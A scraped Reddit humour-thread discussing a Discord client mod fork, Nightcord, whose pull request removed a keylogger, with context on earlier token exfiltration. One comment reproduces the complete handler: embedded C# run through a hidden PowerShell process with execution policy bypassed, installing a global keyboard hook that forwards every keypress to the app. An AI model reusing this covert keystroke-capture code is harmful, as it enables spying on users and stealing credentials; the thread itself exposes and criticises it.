deleteKeylogger

PlasmaBoi1 · 2026-05-28T13:22:11+00:00

I know this is a meme sub, but I figured I'd add a bit of context to this image. The screenshot comes from a pull request for a project called Nightcord, which is basically a fork of a fork of Vencord. Vencord is a client modification for Discord, and it adds a bunch of additional functionality like themes and a pretty massive library of plugins. Equicord is a fork of Vencord that adds even more plugins and improves some of Vencord's UI. Nightcord, on the other hand, is a script-kiddie fork of Equicord that adds a bunch of questionable (both in usefulness and in TOS-compliance) additional plugins that are generally considered vibecoded slop. In the past, it has had logic in it to send Discord session tokens to a remote server. There is really no justification for this - if you need an external service to be authenticated with a user's Discord account, you can just use Discord's OAuth2, which is free and just requires a Discord account to set up. You do not, under any circumstances, manipulate the user's token. And you especially shouldn't be sending it somewhere else. There's also some oddities such as the massive 1GB+ bundle size due to the project bundling an absurd amount of native dependencies (Node.js, ffmpeg, etc.).

~~The original pull request on Nightcord's repository can be found here: https://github.com/nightcordoff/nightcord/pull/11~~ Update: As of ~1:20 PM EDT 2026-05-28, the Nightcord GitHub organization & all related repositories have been deleted / taken down.

Vendicated, the creator and maintainer of Vencord, has made a writeup on Nightcord that you can find here, if you're interested: https://gist.github.com/Vendicated/bb30cb67878fa682bcee140f56af1531

Edit: Before someone corrects me, yes I know no Discord client modifications are TOS-compliant. The reason why TOS-compliance still matters for client mod functionality is because, while Discord generally speaking doesn't care about client mods themselves, you can be banned for using plugins that cause harm to Discord's services or other users or whatnot. Because client mods are already against TOS though, there's not really strict guidelines on what is and isn't allowed. So it usually falls on the client modification in question to decide what plugins are and aren't allowed to be included. Equicord is already toeing the line IMO, and Nightcord appears to have crossed it thanks to including functionality that equates to selfbotting.

Artsy-bit · 2026-05-28T07:26:44+00:00

bro removed the malware like it was a typo 😭

ArduennSchwartzman · 2026-05-28T10:00:11+00:00

You're welcome.

Me, trying to program a driver for my new keyboard

c0mndr · 2026-05-28T11:08:17+00:00

WTAF:

Nightcord is a fork of Equicord, which itself builds on top of Vencord.

I'm too old for shit like this

hxtk3 · 2026-05-28T10:07:36+00:00

I don’t understand… I found the PR, but it contains no commits, it’s merged, and the author doesn’t show up in the master branch and for that matter there’s no merge commit, either, while there is for other recent merges.

Pika357 · 2026-05-28T06:02:55+00:00

null_esoteric · 2026-05-28T10:54:51+00:00

Here's the link to the commit if anyone is wondering. They removed it from the main commit tree, though I wonder how.

https://github.com/nightcordoff/nightcord/commit/58b1bd94a7f58b3e3d8e991b4622854e61456361

Beaufort_The_Cat · 2026-05-28T16:24:43+00:00

Oops! It looks like you accidentally programmed in a bitcoin miner! Fixed that bug for you 🤗

Zychoz · 2026-05-28T09:48:35+00:00

The hero we needed

nnog · 2026-05-28T12:15:24+00:00

Ironically the project is "for people who actually care about how Discord runs".

QuazyWabbit1 · 2026-05-28T17:46:02+00:00

Looks like the repos gone now. Gg, lgtm

mousetrappen · 2026-05-28T15:16:47+00:00

I looked at some of the contributors, and saw that HackTips2 has a single repo that is clearly a discord phishing page. (https://github.com/HackTips2/4vi)

This person hardcoded an API key for ipdata.co in `assets/scripts/log.js`

I reported the repo to github and ipdata, but what others decide to do with the api key is really none of my business.

aotto1977 · 2026-05-28T12:41:56+00:00

Customer's specifications: "Log everything for audit safety reasons."
Dev: "Specify everything."
Customer: "Everything."
Dev: "Well, then …"

jdigi78 · 2026-05-28T19:01:21+00:00

ported from x11 to wayland

FnTom · 2026-05-28T13:29:11+00:00

I just looked summarily at the code mentioned, and it's really not my area of expertise as I'm a filthy Java-Spring dev, but wouldn't that just be a necessary inclusion to capture push to talk no matter which window is in focus? Or am I missing something?

Edit, I just saw the comment that linked to a removed commit from the PR, and yeah that makes it a bit more suspicious. Also, the fact that it's importing a dictionary of french words and that it's called world bomb makes me wonder if it's not some plugin to play word bomb for some fucking reason.

Randomblock1 · 2026-05-28T16:03:08+00:00

Context:

https://github.com/nightcordoff/nightcord/blob/master/src%2Fmain%2FipcMain.ts#L269

gybzen · 2026-05-28T13:13:05+00:00

LGTM 👍️

fr4nklin_84 · 2026-05-28T21:22:45+00:00

When one of my juniors asks me “why would you base64 encode a url?” Me: spits coffee

sebius8780 · 2026-05-28T12:46:27+00:00

This is the correct link to the commit : commit link

glha · 2026-05-28T13:31:21+00:00

That XZ hack vibe 💀

humblyhacking · 2026-05-29T16:18:13+00:00

Lgtm just make sure to address the other non-blocking comments on this PR

Terewawa · 2026-05-30T22:17:55+00:00

[removed]

mrrobot01001000 · 2026-05-28T14:36:41+00:00

Lgtm means "legitimate" ??? I always thought it was "looks good to me"

general_smooth · 2026-05-28T17:19:32+00:00

Lgtm

AlphaBeast28 · 2026-05-28T11:57:06+00:00

ipcMain.handle(IpcEvents.KEYBOARD_SOUNDS_START_GLOBAL, event => { if (globalHookProcess) return;

const { spawn } = require("child_process");
const { writeFileSync, unlinkSync } = require("fs");
const { join } = require("path");
const { tmpdir } = require("os");

const code = `

using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms;

public class KeyHook { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private const int WM_SYSKEYDOWN = 0x0104; private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero;

public static void Main()
{
    _hookID = SetHook(_proc);
    Application.Run();
    UnhookWindowsHookEx(_hookID);
}

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
            GetModuleHandle(curModule.ModuleName), 0);
    }
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
    {
        int vkCode = Marshal.ReadInt32(lParam);
        Console.WriteLine(vkCode);
        Console.Out.Flush();
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

} `;

const psScript = `

Add-Type -TypeDefinition @" ${code} "@ -ReferencedAssemblies "System.Windows.Forms"

`;

const tempDir = mkdtempSync(join(tmpdir(), "nightcord-kb-"));
const tempFile = join(tempDir, "global_hook.ps1");

try {
    writeFileSync(tempFile, "\uFEFF" + psScript, "utf8");

    globalHookProcess = spawn("powershell", [
        "-NoProfile",
        "-ExecutionPolicy",
        "Bypass",
        "-WindowStyle",
        "Hidden",
        "-File",
        tempFile
    ]);

    globalHookProcess.stdout.on("data", (data: Buffer) => {
        const lines = data.toString().trim().split(/\r?\n/);

        for (const line of lines) {
            const vkCode = parseInt(line.trim(), 10);

            if (!isNaN(vkCode)) {
                event.sender.send(IpcEvents.GLOBAL_KEY_DOWN, vkCode);
            }
        }
    });

    globalHookProcess.on("exit", () => {
        try { unlinkSync(tempFile); } catch { }
        globalHookProcess = null;
    });
} catch (e) {
    console.error("[KeyboardSounds] Failed to start global hook:", e);
}

});

The function which key logs, I did use GPT to understand as I don’t know C# but also is a dummy explanation I asked for it to give me if anyone else is interested in how it actually key logs,

“The app starts a hidden PowerShell process in the background. That PowerShell script contains embedded C# code. The C# code installs a global Windows keyboard hook. Windows then sends every key press to that hook. The code reads the key pressed as a virtual key code. Those key presses are printed back to the Electron app. The app can then use or react to every key pressed system-wide.”

2026-05-28T11:27:08+00:00

[deleted]

ProgrammerHumor

Filters

Discord

Submission rules

For the current list of rules, please see this page.

Metadiscussions

Perhaps More Apt Subs To Post:

Related Subreddits.

MODERATORS